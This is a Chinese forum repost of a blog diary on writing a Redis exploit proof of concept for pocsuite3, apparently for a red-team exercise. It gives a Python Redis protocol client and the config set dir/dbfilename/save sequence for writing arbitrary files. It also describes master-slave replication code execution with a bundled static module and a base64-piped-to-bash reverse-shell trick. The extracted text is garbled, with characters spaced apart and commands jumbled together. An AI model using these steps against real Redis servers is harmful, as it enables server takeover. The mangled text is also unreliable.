搜索

[17902] 2020-06-10_redisexp研究.

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-06-10_redisexp研究.md r e d i s   e x p 研 究 . m d 原 创   w 8 a y   H a c k i n g 就 是 好 玩   2 0 2 0 - 0 6 - 1 0 最 近 为 了 护 网 开 始 整 理 p o c ， 整 理 到 r e d i s 这 类 ， 这 是 一 个 简 单 琐 碎 的 编 写 日 记 。 搜 索 h t t p s : / / p a p e r . s e e b u g . o r g / ? k e y w o r d = r e d i s   中 的 几 篇 文 章 ， 有 几 种 方 式 写 文 件 基 于 主 从 复 制 模 式 命 令 执 行 L u a   r c e l u a   r c e 影 响 的 版 本 比 较 低 ， 暂 时 不 考 虑 了 ， 于 是 开 始 着 手 ， 对 r e d i s   p o c 的 验 证 功 能 ， 写 文 件 功 能 ， 基 于 主 从 复 制 的 命 令 执 行 功 能 进 行 编 写 。 整 个 功 能 下 来 需 要 实 现 一 个 简 单 的 r e d i s   c l i e n t , 同 时 保 证 下 主 从 复 制 模 式 下 能 够 支 持 大 部 分 系 统 。 r e d i s   c l i e n t 还 是 很 好 模 拟 的 ， 基 本 上 就 是 纯 文 本 发 送 ， 实 现 的 用 的 是 v u l h u b 中 的 例 子 。 验 证 模 式 下 发 送 个 D E L I M I T E R   =   b " r n " c l a s s   R e d i s C l i e n t ( o b j e c t ) :         d e f   _ _ i n i t _ _ ( s e l f ,   r h o s t ,   r p o r t ) :                 s e l f . c l i e n t   =   s o c k e t . c r e a t e _ c o n n e c t i o n ( ( r h o s t ,   r p o r t ) ,   t i m e o u t = 2 0 )         d e f   s e n d ( s e l f ,   d a t a ) :                 d a t a   =   s e l f . e n c o d e ( d a t a )                 s e l f . c l i e n t . s e n d ( d a t a )                 l o g g e r . i n f o ( " s e n d   d a t a :   % r " ,   d a t a )                 r e t u r n   s e l f . r e c v ( )         d e f   r e c v ( s e l f ,   c o u n t = 6 5 5 3 5 ) :                 d a t a   =   s e l f . c l i e n t . r e c v ( c o u n t )                 l o g g e r . i n f o ( " r e c e i v e   d a t a :   % r " ,   d a t a )                 r e t u r n   d a t a         d e f   e n c o d e ( s e l f ,   d a t a ) :                 i f   i s i n s t a n c e ( d a t a ,   b y t e s ) :                         d a t a   =   d a t a . s p l i t ( )                 a r g s   =   [ b ' * ' ,   s t r ( l e n ( d a t a ) ) . e n c o d e ( ) ]                 f o r   a r g   i n   d a t a :                         a r g s . e x t e n d ( [ D E L I M I T E R ,   b ' $ ' ,   s t r ( l e n ( a r g ) ) . e n c o d e ( ) ,   D E L I M I T E R ,   a r g ] )                 a r g s . a p p e n d ( D E L I M I T E R )                 r e t u r n   b ' ' . j o i n ( a r g s )
来 获 取 r e d i s 信 息 就 好 了 ， 当 然 也 可 以 发 送 ， 但 可 以 多 获 取 些 信 息 吧 。 写 文 件 的 功 能 利 用 的 是 r e d i s 文 件 存 储 的 功 能 对 r e d i s 发 送 几 条 命 令 r e d i s 就 会 将 自 身 的 记 录 文 件 存 储 在   / d a t a / t e s t 文 件 下 ， 所 以 我 写 的 p o c 在 写 文 件 模 式 下 只 用 接 受 两 个 参 数 ， i n f o   s e r v e r p i n g i n f o   s e r v e r s e t   x   p a y l o a d c o n f i g   s e t   d i r   / d a t a c o n f i g   s e t   d b f i l e n n a m e   t e s t s a v e
, 即 可 ， 就 实 现 了 写 入 文 件 呢 。 p s :   p o c s u i t e 3 支 持 在 p o c 后 面 添 加 参 数 来 适 应 不 同 的 情 况 最 后 在 命 令 行 加 上   - - c o n t e n t   x x x   - - f i l e n a m e   / d a t a / f l a g   就 实 现 了 在 攻 击 模 式 下 写 入 文 件 。 基 于 主 从 复 制 模 式 ， 这 个 需 要 编 译 一 个 r e d i s 支 持 库 来 作 为 插 件 执 行 任 意 代 码 ， 但 是 发 现 这 个 插 件 并 不 能 支 持 所 有 系 统 ， 我 在 d o c k e r 中 用 a l p i n e 镜 像 编 译 ， 却 不 能 到 d e b i a n 中 使 用 ， 所 以 找 啊 找 啊 ， 发 现 支 持 库 并 没 有 依 赖 其 他 东 西 ， 于 是 将 m a k e f i l e 加 入 了 静 态 编 译 的 参 数 f i l e n a m e c o n t e n t
这 下 编 译 的 s o 就 是 不 依 赖 系 统 的 了 。 对 比 一 下 ， 发 现 没 有 静 态 编 译 时 r e d i s 插 件 大 小 只 有 2 0 k ， 静 态 编 译 后 有 2 0 0 多 k 了 ， 没 办 法 ， 将 这 2 0 0 多 k 内 置 到 p o c 中 ， 就 能 完 美 运 行 了 。 执 行 任 意 命 令 ： 执 行 任 意 命 令 的 时 候 可 能 会 有 一 些 特 殊 字 符 导 致 执 行 失 败 ， 可 能 是 插 件 里 哪 没 处 理 好 ， 不 想 看 那 源 码 ， 用 个 命 令 执 行 小 t i p s 绕 过 去 ， 将 要 执 行 命 令 b a s e 6 4 编 码 下 ， 然 后 实 际 执 行 就 好 了 。 反 弹 s h e l l e c h o   " b a s e 6 4   p y l o a d " | b a s e 6 4   - d | b a s h

最 终 达 到 的 目 标 ， 只 需 要 利 用 该 p o c 即 可 写 入 任 意 文 件 ， 执 行 任 意 命 令 ， 甚 至 反 弹 s h e l l ， 只 需 要 依 赖 ， 除 此 之 外 便 不 依 赖 任 何 环 境 了 ， 所 有 r e d i s 的 利 用 ， 都 被 这 一 个 p o c 解 决 了 。 现 在 想 想 ， 还 是 很 神 奇 的 ， 写 这 p o c 之 前 ， 对 r e d i s 只 有 一 知 半 解 ， 写 完 后 ， 通 过 小 小 的 p o c ， 即 使 不 懂 r e d i s ， 几 行 命 令 便 可 以 控 制 服 务 器 ， 如 此 大 的 成 就 感 心 里 还 是 很 激 动 的 ～ p o c s u i t e 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理